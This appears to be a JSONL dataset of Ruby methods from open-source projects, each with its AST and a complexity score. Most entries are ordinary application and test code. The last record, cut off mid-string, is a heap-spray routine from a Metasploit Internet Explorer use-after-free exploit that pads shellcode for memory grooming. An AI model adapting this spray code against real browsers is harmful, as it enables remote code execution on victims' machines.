{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/members/invite_service.rb","start_line":54,"raw_source":"def add_error_for_member(member, existing_errors)\n      errors[invited_object(member)] = all_member_errors(member, existing_errors).to_sentence\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_error_for_member\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"member\"]},{\"type\":\"arg\",\"children\":[\"existing_errors\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"[]=\",{\"type\":\"send\",\"children\":[null,\"invited_object\",{\"type\":\"lvar\",\"children\":[\"member\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_member_errors\",{\"type\":\"lvar\",\"children\":[\"member\"]},{\"type\":\"lvar\",\"children\":[\"existing_errors\"]}]},\"to_sentence\"]}]}]}","id":"58a6a2c0-b5e0-44f1-af74-f92903dde478"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/users/delete_service.rb","start_line":39,"raw_source":"def destroy(user_object)\n      # as destroying users is a lengthy process we handle it in the background\n      # and mark the account as deleted now so that no action can be performed with it\n      # don't use \"deleted!\" handle as it will raise on invalid users\n      user_object.update_column(:status, User.statuses[:deleted])\n      ::Principals::DeleteJob.perform_later(user_object)\n\n      logout! if self_delete?\n\n      true\n    end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user_object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_object\"]},\"update_column\",{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"statuses\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"deleted\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Principals\"]},\"DeleteJob\"]},\"perform_later\",{\"type\":\"lvar\",\"children\":[\"user_object\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"self_delete?\"]},{\"type\":\"send\",\"children\":[null,\"logout!\"]},null]},{\"type\":\"true\",\"children\":[]}]}]}","id":"6c16a6c9-b84f-4cdc-9af5-e007ad5ce11b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/java/reverse_https.rb","start_line":18,"raw_source":"def transport_config(opts={})\n    transport_config_reverse_https(opts)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"transport_config\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"transport_config_reverse_https\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}","id":"7e489f39-b6f5-41f0-840c-99f475576155"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/time_with_zone_test.rb","start_line":391,"raw_source":"def test_plus_with_integer_when_self_wraps_datetime\n    datetime = DateTime.civil(2000, 1, 1, 0)\n    twz = ActiveSupport::TimeWithZone.new(datetime, @time_zone)\n    assert_equal DateTime.civil(1999, 12, 31, 19, 0, 5), (twz + 5).time\n  end","complexity_score":11.85,"ast_json":"{\"type\":\"def\",\"children\":[\"test_plus_with_integer_when_self_wraps_datetime\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"datetime\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"twz\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeWithZone\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"datetime\"]},{\"type\":\"ivar\",\"children\":[\"@time_zone\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[1999]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[31]},{\"type\":\"int\",\"children\":[19]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"+\",{\"type\":\"int\",\"children\":[5]}]}]},\"time\"]}]}]}]}","id":"0e7bae5a-8c99-47fb-bba0-16ed044fc90e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/generate_perf_testdata.rb","start_line":240,"raw_source":"def create_a_todo_api_req(project_path_or_id, issue_id)\n        call_api(expected_response_code: 201) do\n          post Runtime::API::Request.new(@api_client, \"/projects/#{project_path_or_id}/issues/#{issue_id}/todo\").url, nil\n        end\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_a_todo_api_req\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_path_or_id\"]},{\"type\":\"arg\",\"children\":[\"issue_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"call_api\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expected_response_code\"]},{\"type\":\"int\",\"children\":[201]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"API\"]},\"Request\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@api_client\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/projects/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_path_or_id\"]}]},{\"type\":\"str\",\"children\":[\"/issues/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue_id\"]}]},{\"type\":\"str\",\"children\":[\"/todo\"]}]}]},\"url\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"c9b36ccb-7e47-4a55-88c3-b8aa2c270449"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service_template.rb","start_line":486,"raw_source":"def self.display_name(number = 1)\n    n_('Service Catalog Item', 'Service Catalog Items', number)\n  end","complexity_score":2.25,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"display_name\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"number\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"n_\",{\"type\":\"str\",\"children\":[\"Service Catalog Item\"]},{\"type\":\"str\",\"children\":[\"Service Catalog Items\"]},{\"type\":\"lvar\",\"children\":[\"number\"]}]}]}","id":"ffe28fd3-cc75-4f09-8b8b-7e58a6e590a6"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/base.rb","start_line":75,"raw_source":"def self.to_tom_select_json\n    pluck(:name, :id).map do |name, id|\n      {\n        id: id,\n        name: name\n      }\n    end.as_json\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"to_tom_select_json\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pluck\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"id\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},\"as_json\"]}]}","id":"cdf5f8e4-2241-4a2b-98e0-605eab8f3e23"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/counter/client.rb","start_line":214,"raw_source":"def on_connect\n        @connection = true\n        write @buffer\n        @buffer = ''\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_connect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@connection\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"write\",{\"type\":\"ivar\",\"children\":[\"@buffer\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@buffer\",{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"b104f30e-752d-4563-82a6-e96eb49be207"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/command/plugin_generator.rb","start_line":40,"raw_source":"def call\n    parse_options!\n    FileUtils.mkdir_p(gem_name)\n    Dir.chdir(gem_name) do\n      copy_license\n      template_directory.find do |path|\n        next if path.directory?\n        dest_dir = path.dirname.sub(/\\A#{Regexp.quote(template_directory.to_s)}\\/?/, \"\")\n        dest_file = dest_filename(path)\n        if path.extname == \".erb\"\n          if path.fnmatch?(\"*/plugin/*\")\n            next unless path.basename.fnmatch?(\"*#{type}*\")\n          end\n          template(path, dest_dir + dest_file)\n        else\n          file(path, dest_dir + dest_file)\n        end\n      end\n      pid = spawn(\"git\", \"init\", \".\")\n      Process.wait(pid)\n    end\n  end","complexity_score":51.8,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_options!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"send\",\"children\":[null,\"gem_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"chdir\",{\"type\":\"send\",\"children\":[null,\"gem_name\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"copy_license\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"template_directory\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"directory?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"dest_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"dirname\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"quote\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"template_directory\"]},\"to_s\"]}]}]},{\"type\":\"str\",\"children\":[\"/?\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"dest_file\",{\"type\":\"send\",\"children\":[null,\"dest_filename\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"extname\"]},\"==\",{\"type\":\"str\",\"children\":[\".erb\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"fnmatch?\",{\"type\":\"str\",\"children\":[\"*/plugin/*\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"basename\"]},\"fnmatch?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"*\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]}]},{\"type\":\"str\",\"children\":[\"*\"]}]}]},null,{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dest_dir\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"dest_file\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"file\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dest_dir\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"dest_file\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pid\",{\"type\":\"send\",\"children\":[null,\"spawn\",{\"type\":\"str\",\"children\":[\"git\"]},{\"type\":\"str\",\"children\":[\"init\"]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"wait\",{\"type\":\"lvar\",\"children\":[\"pid\"]}]}]}]}]}]}","id":"7c584548-5bdb-4b9c-8612-8f1b777c7fb7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/projects/ml/model_versions_controller_spec.rb","start_line":171,"raw_source":"def show_model_version\n    get project_ml_model_version_path(request_project, model_id, version_id)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"show_model_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"project_ml_model_version_path\",{\"type\":\"send\",\"children\":[null,\"request_project\"]},{\"type\":\"send\",\"children\":[null,\"model_id\"]},{\"type\":\"send\",\"children\":[null,\"version_id\"]}]}]}]}","id":"002bfe10-b245-4f0c-b36a-11f99c934f75"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/models/inbox.rb","start_line":165,"raw_source":"def inbox_type\n    channel.name\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"inbox_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel\"]},\"name\"]}]}","id":"7d33b061-f63d-43fa-8a27-98680c731fc7"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/plugin_test_runner_test.rb","start_line":80,"raw_source":"def test_only_inline_failure_output\n    create_test_file \"post\", pass: false\n\n    output = run_test_command(\"test/post_test.rb\")\n    assert_match %r{Finished in.*\\n1 runs, 1 assertions}, output\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_only_inline_failure_output\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_test_file\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pass\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"run_test_command\",{\"type\":\"str\",\"children\":[\"test/post_test.rb\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Finished in.*\\\\n1 runs, 1 assertions\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"e5a64361-dc7f-44b6-bd11-a994deb4d1ac"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/authentication_generator_test.rb","start_line":30,"raw_source":"def test_authentication_generator\n    generator([destination_root])\n\n    run_generator_instance\n\n    assert_file \"app/models/user.rb\"\n    assert_file \"app/models/current.rb\"\n    assert_file \"app/models/session.rb\"\n    assert_file \"app/controllers/sessions_controller.rb\"\n    assert_file \"app/controllers/concerns/authentication.rb\"\n    assert_file \"app/views/sessions/new.html.erb\"\n    assert_file \"app/channels/application_cable/connection.rb\"\n\n    assert_file \"app/controllers/application_controller.rb\" do |content|\n      class_line, includes_line = content.lines.first(2)\n\n      assert_equal \"class ApplicationController < ActionController::Base\\n\", class_line, \"does not affect class definition\"\n      assert_equal \"  include Authentication\\n\", includes_line, \"includes module on first line of class definition\"\n    end\n\n    assert_file \"Gemfile\" do |content|\n      assert_match(/\\ngem \"bcrypt\"/, content)\n    end\n\n    assert_file \"config/routes.rb\" do |content|\n      assert_match(/resource :session/, content)\n    end\n\n    assert_includes @rails_commands, \"generate migration CreateUsers email_address:string!:uniq password_digest:string! --force\"\n    assert_includes @rails_commands, \"generate migration CreateSessions user:references ip_address:string user_agent:string --force\"\n\n    assert_file \"test/models/user_test.rb\"\n    assert_file \"test/fixtures/users.yml\"\n    assert_file \"test/controllers/sessions_controller_test.rb\"\n    assert_file \"test/controllers/passwords_controller_test.rb\"\n    assert_file \"test/mailers/previews/passwords_mailer_preview.rb\"\n\n    assert_file \"test/test_helpers/session_test_helper.rb\"\n\n    assert_file \"test/test_helper.rb\" do |content|\n      assert_match(\"require_relative \\\"test_helpers/session_test_helper\\\"\", content)\n    end\n  end","complexity_score":38.45,"ast_json":"{\"type\":\"def\",\"children\":[\"test_authentication_generator\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]}]}]},{\"type\":\"send\",\"children\":[null,\"run_generator_instance\"]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/models/user.rb\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/models/current.rb\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/models/session.rb\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/controllers/sessions_controller.rb\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/controllers/concerns/authentication.rb\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/views/sessions/new.html.erb\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/channels/application_cable/connection.rb\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/controllers/application_controller.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"class_line\"]},{\"type\":\"lvasgn\",\"children\":[\"includes_line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"lines\"]},\"first\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"class ApplicationController < ActionController::Base\\n\"]},{\"type\":\"lvar\",\"children\":[\"class_line\"]},{\"type\":\"str\",\"children\":[\"does not affect class definition\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"  include Authentication\\n\"]},{\"type\":\"lvar\",\"children\":[\"includes_line\"]},{\"type\":\"str\",\"children\":[\"includes module on first line of class definition\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"Gemfile\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\ngem \\\"bcrypt\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"config/routes.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"resource :session\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"ivar\",\"children\":[\"@rails_commands\"]},{\"type\":\"str\",\"children\":[\"generate migration CreateUsers email_address:string!:uniq password_digest:string! --force\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"ivar\",\"children\":[\"@rails_commands\"]},{\"type\":\"str\",\"children\":[\"generate migration CreateSessions user:references ip_address:string user_agent:string --force\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"test/models/user_test.rb\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"test/fixtures/users.yml\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"test/controllers/sessions_controller_test.rb\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"test/controllers/passwords_controller_test.rb\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"test/mailers/previews/passwords_mailer_preview.rb\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"test/test_helpers/session_test_helper.rb\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"test/test_helper.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"require_relative \\\"test_helpers/session_test_helper\\\"\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}]}","id":"390e2d65-78c5-4d5f-950f-f3c0c58b43f4"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":1413,"raw_source":"def test_week_field_with_datetime_value\n    expected = %{<input id=\"post_written_on\" name=\"post[written_on]\" type=\"week\" value=\"2004-W25\" />}\n    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)\n    assert_dom_equal(expected, week_field(\"post\", \"written_on\"))\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_week_field_with_datetime_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<input id=\\\"post_written_on\\\" name=\\\"post[written_on]\\\" type=\\\"week\\\" value=\\\"2004-W25\\\" />\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"written_on=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"new\",{\"type\":\"int\",\"children\":[2004]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"week_field\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"written_on\"]}]}]}]}]}","id":"2397c756-3d11-4d85-86cb-f18026841e04"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gitaly_client.rb","start_line":507,"raw_source":"def self.decrement_call_count(key)\n      return unless Gitlab::SafeRequestStore[key]\n\n      Gitlab::SafeRequestStore[key] -= 1\n    end","complexity_score":2.25,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"decrement_call_count\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SafeRequestStore\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SafeRequestStore\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"f3a1ab1b-8196-4739-a891-dd0bdeaacfee"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/email/handler/service_desk_handler.rb","start_line":64,"raw_source":"def project\n          strong_memoize(:project) do\n            project_record = super\n            project_record ||= project_from_key if service_desk_key\n            project_record && ::ServiceDesk.enabled?(project_record) ? project_record : nil\n          end\n        end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"project\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project_record\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_desk_key\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project_record\"]},{\"type\":\"send\",\"children\":[null,\"project_from_key\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_record\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ServiceDesk\"]},\"enabled?\",{\"type\":\"lvar\",\"children\":[\"project_record\"]}]}]},{\"type\":\"lvar\",\"children\":[\"project_record\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}","id":"4ac67f4e-b76e-4ace-acff-9fed91d15f76"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/issuable.rb","start_line":63,"raw_source":"def award_emojis_loaded?\n        # We check first if we're loaded to not load unnecessarily.\n        loaded? && to_a.all? { |note| note.association(:award_emoji).loaded? }\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"award_emojis_loaded?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loaded?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_a\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"note\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"association\",{\"type\":\"sym\",\"children\":[\"award_emoji\"]}]},\"loaded?\"]}]}]}]}","id":"9c7ef679-9c23-465e-b8e1-537e6a1aad58"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ie_execcommand_uaf.rb","start_line":219,"raw_source":"def get_spray(t, js_code, js_nops)\n    randnop = rand_text_alpha(rand(100) + 1)\n\n    js = <<-JS\n    var heap_obj = new heapLib.ie(0x20000);\n    var code = unescape(\"#{js_code}\");\n    var #{randnop} = \"#{js_nops}\";\n    var nops = unescape(#{randnop});\n\n    while (nops.length < 0x80000) nops += nops;\n    var offset = nops.substring(0, #{t['Offset']});\n    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);\n\n    while (shellcode.length < 0x40000) shellcode += shellcode;\n    var block = shellcode.substring(0, (0x80000-6)/2);\n\n    heap_obj.gc();\n\n    for (var i=1; i < 0x300; i++) {\n      heap_obj.alloc(block);\n    }\n    JS\n  